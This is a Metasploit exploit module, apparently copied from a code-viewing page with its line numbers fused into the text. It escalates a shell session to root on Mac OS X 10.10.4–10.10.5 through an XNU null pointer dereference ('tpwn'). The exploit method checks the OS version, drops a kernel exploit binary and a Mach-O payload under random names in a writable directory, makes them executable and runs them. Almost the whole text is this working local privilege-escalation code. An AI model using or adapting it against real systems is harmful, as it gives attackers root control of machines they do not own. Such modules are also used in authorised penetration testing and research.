Path: blob/master/modules/exploits/osx/local/tpwn.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X "tpwn" Privilege Escalation',19'Description' => %q{20This module exploits a null pointer dereference in XNU to escalate21privileges to root.2223Tested on 10.10.4 and 10.10.5.24},25'Author' => [26'qwertyoruiop', # Vulnerability discovery and PoC27'wvu' # Copy/paste monkey28],29'References' => [30['URL', 'https://github.com/kpwn/tpwn']31],32'DisclosureDate' => '2015-08-16',33'License' => MSF_LICENSE,34'Platform' => 'osx',35'Arch' => ARCH_X64,36'SessionTypes' => ['shell'],37'Privileged' => true,38'Targets' => [39['Mac OS X 10.10.4-10.10.5', {}]40],41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_advanced_options [51OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])52]53end5455def base_dir56datastore['WritableDir'].to_s57end5859def check60ver? ? CheckCode::Appears : CheckCode::Safe61end6263def exploit64if is_root?65fail_with Failure::BadConfig, 'Session already has root privileges'66end6768if check != CheckCode::Appears69fail_with Failure::NotVulnerable, 'Target is not vulnerable'70end7172unless writable? base_dir73fail_with Failure::BadConfig, "#{base_dir} is not writable"74end7576print_status("Writing exploit to `#{exploit_file}'")77write_file(exploit_file, binary_exploit)78register_file_for_cleanup(exploit_file)7980print_status("Writing payload to `#{payload_file}'")81write_file(payload_file, binary_payload)82register_file_for_cleanup(payload_file)8384print_status('Executing exploit...')85cmd_exec(sploit)86print_status('Executing payload...')87cmd_exec(payload_file)88end8990def ver?91Rex::Version.new(get_sysinfo['ProductVersion']).between?(92Rex::Version.new('10.10.4'), Rex::Version.new('10.10.5')93)94end9596def sploit97"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"98end99100def binary_exploit101File.read(File.join(102Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'103))104end105106def binary_payload107Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)108end109110def exploit_file111@exploit_file ||=112"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"113end114115def payload_file116@payload_file ||=117"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"118end119end120121122